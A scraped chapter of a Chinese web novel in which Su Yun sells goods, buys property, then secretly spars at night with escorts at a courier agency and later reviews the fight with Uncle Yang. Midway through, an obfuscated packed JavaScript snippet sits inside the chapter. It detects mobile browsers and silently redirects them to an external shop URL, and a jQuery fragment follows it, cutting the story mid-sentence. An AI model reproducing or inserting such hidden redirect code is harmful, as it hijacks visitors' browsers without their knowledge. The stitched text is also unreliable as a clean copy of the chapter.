40. 第 40 章
作品:《苏云传 从伪龙女到县主的逆袭》 40、夜探镖局
回到院子,苏云立马安排阿牛去脚行租用三辆马车,酉时末到院子门口来装货,戌时去交接。就由苏云和杨三叔押运,阿牛四个男子当搬运。
戌时装好车,苏云故意绕着圈走了不少路,才绕道来到张记酒铺,杨掌柜正翘首以待,验货后,很快交接完成。然后又去了樊楼,交割完毕。才回到了院子,阿牛娘早就烧好了洗澡水等着。
王嬷嬷晚上回来,带回了夜行衣,汇报了杂货铺的情况。这一天下来,张掌柜的确卖力在推销,在门口摆了一个木盆和几桶清水,也用苏云的法子,弄脏手绢当场清洗,赢得一片喝彩,一天卖出了差不多两百块,估计消息传开,明天客户会越来越多。
这一趟进展顺利,算下来足足有十八万两银子的进账。苏云心里很是高兴,每人给二两银子,让大家第二天自己随便去街上逛逛,要买什么自己决定,整个院子高兴得像过年一样。
苏云觉得院子不错,就让阿牛去找来两个院子的房主,花了比市价高出三成的价格买了下来。
苏云也考虑是不是应该买下一座商铺,这样行动起来比较方便。如果卖酒水、香水,暂时是不能卖的,除非自己觉得背靠大树,稳靠了才行;若是只卖肥皂,貌似有点太奢侈。盘算许久,觉得以后肥皂产量扩大,猪肉的销售可能会比较麻烦,毕竟临川县人口就那么多,能经常吃得起肉食的,应该也不多。京城就不一样了,有钱人太多,腊肉香肠短时间应该不愁销量。说干就干,考察良久,终于选择了一处临菜市旁边的一个铺面,重金购入。至于负责商铺的人选嘛,苏云也已经有了想法。
苏云前世忙碌了一辈子,也只贷款买了一套六十平米的蜗居,现在一口气已经有了五套院子和一个商铺,而且两套院子和商铺还在帝都,还有一个在建的大工场,还有一个待建的县主府,再加上手里的现金,心里挺有成就感的。
到得晚上,换成男装,换上黑色的夜行衣,苏云心痒难耐,跃跃欲试。杨三叔看到她的男子装束,一副急不可耐的样子,心中好笑,道:“此次外出,只为试试你的鞭法,尽量不说话,莫伤人,另外,你要将脸色也抹一下,最好不要让人认出来。”又给了她一个很小的口哨:“你含在嘴里,说话试试。”苏云知道这是变声用的,也不迟疑,含在嘴里,随口叫了一句:“杨三叔”,听起来却是男声,心里很是高兴。
杨三叔早就打探到了一个镖局所在。装扮停当,两人飞上屋顶,七弯八拐,到了顺安镖局。
虽已宵禁,但镖局里面却还亮着火把,几个镖师正在忙着装运货物。一个满脸络腮胡子的中年镖师道:“明儿这趟镖走灵州,中间虽说没什么劫道的,也算太平。但是出门在外,大家还是要打起精神,毕竟上千里路,人在途中,少不得不长眼的小贼觊觎,如果真出了事,对我们镖局而言就是大事。总镖头说了,这一单弟兄们小心些,等到了灵州交货后,请大伙好好喝一顿酒。”一个镖头猥琐道:“花酒可以不?”中年镖头笑骂:“你小子不攒钱娶个媳妇,就想着快活,小心死在女人肚皮上!”众镖师齐声大笑。
苏云正在屋顶悄悄看着,猛地感觉被人一推,就往下掉,好在反应奇快,人在空中,一个腾挪,轻轻落在了地上,同时取出了软鞭。
众镖师正在说笑,猛地见一个人从屋顶掉下来,仔细一看,个子矮小,一身夜行衣,脸上黑黑的,火把摇曳,昏暗中也看不清楚。众镖师都是久经江湖之人,哪里会反应不过来,一定是毛贼无疑。中年镖师大叫:“哪里来的小毛贼,居然敢独闯顺安镖局!”反应也挺快,说话间抽出了一把大刀:“小小毛贼,叫你看看马王爷有几只眼。”
说着,纵身一跃,挥舞大刀,一个力劈华山砍将过来。苏云知道此人肯定招大力沉,不敢正面迎击,左脚朝左边一迈,侧身跳开一丈有余,手中长鞭一抖,正是“三十二路追风鞭”第二式,袭向中年壮汉腰部,壮汉一转身,大刀一竖,挡住鞭子的攻击。
两人一个招大力沉,一个轻盈灵动,在院子中打得难解难分。旁边的镖师都知道中年镖师喜欢单打独斗,不喜欢别人帮忙,况且并没有处在下风,尽皆拿着兵器围着,却不上前。
只见刀光闪烁,呼呼生风,长鞭宛如灵蛇舞动,鞭法精妙,一刚一柔,煞是好看,两人舞动的劲风把火把都吹得不停摇曳。
苏云鞭法奇妙灵动,若以招式而论,中年镖师其实远远不是对手,只是苏云初遇大敌,平时所练的招式并没有用于实战过,经验严重不足,许多招式都用得很是仓促,过后才知道用另一招其实更好。而中年镖师经验老到,且力大无穷,苏云不敢比拼气力,所以才战了个平手。
不过随着时间推移,苏云对鞭法的领悟越来越多,招式慢慢开始贯通起来,不知不觉就开始占了上风,不多时,中年镖师开始觉得有些跟不上了,左肩和腰部都中了两鞭,痛得呲牙。
旁边一镖师见中年镖师已呈败像,顾不得中年镖师不喜人帮忙的禁忌,大叫一声:“对付这种毛贼,也不用讲究就什么单打独斗了,兄弟们,并肩子上啊。”四五个镖师手持兵刃,一拥而上。
本来苏云已经占据绝对上风,不料四五个镖师一拥而上,而且各个身手也不弱,苏云精神大振,招招灵动,打得难解难分,竟不呈败像。
房顶上的杨三叔见状,感觉差不多了,手一抬,手指连连点出,正是林二伯的“清风一指”。四五个镖师感觉腿部穴位被针刺一般,瞬间酸软无力,倒在地上。杨三叔叫了一声:“快走!”苏云朝中年镖师挥鞭过去,待得镖师闪躲之际,纵身一跃上屋顶,和着杨三叔翩然而去。
中年镖师在苏云跃上屋顶之际,本想追上去,但想到屋顶上还有高手,且同伴尽皆躺在地上翻滚哀嚎,只得作罢,俯身看看各位镖师的伤势。只见四五个镖师在地上打滚,细细查看,并没有什么明显伤处,觉得好生奇怪,自己也没有办法,赶紧去叫了总镖头来。
总镖头杨千里,五十多岁,花白胡须,很是干练,听说之后,急忙到院里,见到满地打滚的镖师,忙上去细细查看,并问了几句,已知原由,朝镖师腿上点了几下,镖师疼痛感减轻了很多:“此是清风一指所伤,我也没有办法完全解除,只能暂时给你们止痛,待得两个时辰后,自然就不痛了。”吩咐人把受伤的镖师们扶下去休息,叫上中年镖师,回到自己屋里。
中年镖师将事情经过说了一遍,杨千里沉吟:“如此看来,其实来人并没有什么恶意,况且我们和林若风没有过节,那个使软鞭的小子也没使什么杀招,不像是上门寻仇,倒像是找我们练练手。”走镖营生,靠的是朋友多,走镖途中,面子最重要,若是完全靠蛮力,怕十里就有一战,什么样的镖,只怕也难以到达目的地。如此一想,心下倒是安定了不少。
于是吩咐道:“应是无大碍,明天仍由你带头,押运去灵州那批货,断不可有什么闪失。”中年镖头拱手应下。
回到院子,苏云还觉得心里扑通通的,杨三叔见她这样,也就没多说什么,只管回屋喝酒睡觉去了。
苏云洗了澡,仍觉得心绪难平,躺在床上,将整个过程复盘了一下,直到后半夜才晕乎乎睡过去。
第二日起床,已经天色大亮,今天没什么事情,于是悠闲的起床洗漱,吃早餐。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205770|197331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
完毕,才召集众人,言道这些天没什么事情,让大家自行安排活动。又想着要抱国公府的大腿,这个关系应该维持好,还想着侯府也要多联系,自己因为祖母的事情不能进京,也不便暴露自己在京城,就让王嬷嬷和二牛把卧云醉、舍得酒、不羡仙和葡萄酒各两瓶装在礼盒中,备了两份,分别带去送给公府和侯府。侯府就让王嬷嬷送过去,顺便多打听一下侯府的情况。
半日不到,王嬷嬷回来了,问起侯府情况,王嬷嬷气愤道:“这次去侯府送礼,并没有见着老夫人、侯爷和夫人。倒是二少爷听说是小姐来送礼,还将老奴叫到了青竹园叙话。”
苏云道:“二哥身体可好些了?”
王嬷嬷道:“老奴也是几年没见过二公子了,二公子个头长得老高,比我都高了整整一个头,很是俊俏,只是看起来比较瘦,脸色也比较白。问起他的病情,他让老奴转告小姐,已经按照小姐的吩咐,没有再用夫人送来的补品,这段时间倒是觉得身子爽利了很多,他以后会注意的。只要病好起来,明年仍旧可以下场。又问起小姐,我都一概说好,仔细的也没跟二公子说。”
苏云道:“嬷嬷做得对。”
杨三叔问起苏云昨晚的收获。苏云郑重地倒了一盏茶给杨三叔道:“昨晚多谢杨三叔了。”杨三叔微微一笑,并不言语。
苏云道:“昨日一战,是平生第二次,的确新鲜刺激,一个晚上都没睡好。”
杨三叔笑道:“刚开始和人动手,这种心情是可以理解的,次数多了,自然就镇定了。说说昨晚的收获吧。”
苏云道:“昨晚睡觉之前,我把整个过程复盘了一次。事后想想,其实那个中年镖师的武功不是很强,主要是招大力沉,如果按照他的路子来看,在第九招、第十六招时候是有破绽的,如果及时跟进,应该就可以把他击败,只可惜第一次交手,的确太紧张,经验也不足,很多招式都不能贯通,错失了好多机会。”
杨三叔道:“不错,这个镖师应该是镖局的二等镖师,走的是疯魔大力刀法的路子,刀法本身是不错的,看他的样子,平时应该过于注重练习力道,招数并没有完全吃透,很多招式都有破绽。比如在第二十四招的时候,他使出横斩式,位置偏低,左肩是有破绽的,如果你用风卷残雪,荡开他的大刀,再接着换成灵蛇入草,扫向他的左肩,他必然会中鞭,以你现在的功力,饶是他皮糙肉厚,想来也是会痛不可当的。”
苏云凝神思索了一会,觉得的确如此,对杨三叔佩服不已。又道:“后来虽然占了上风,但众镖师一拥而上,我就有些懵了,感觉到处都是刀光剑影,不知道该怎么对付了。”
杨三叔道:“一个人对付一群人,一是要稳定心神,不可慌张,最重要是速度,俗话说:天下武功,唯快不破。只是你的身手还不够敏捷,当你快到得一定程度,你会觉得那些兵器都很缓慢,你完全可以逐一破解。当然,这个是需要时间来积累的,你昨晚的表现已经非常好了,更好的是你能把经过记清楚,就是你说的复盘,这个对你以后的练功有莫大的帮助。至于对付多人,三十二路鞭法中的二十八式----卷叶式,就是专门练习这个的,一步步练下去,自然会有水到渠成的一天,倒也不用急在一时。”
苏云福了一礼:“多谢三叔指点!”
杨三叔道:“我看你这几日貌似也没什么事情了,不若白日就专心练功,晚上再去找别人的晦气?”
苏云道:“如此甚好,实战之后,总觉得好多地方不够好,同时也觉得很多不是很清楚的地方能够贯通了。”
杨三叔道:“旁边院子还没有人,我们去那边练习。”

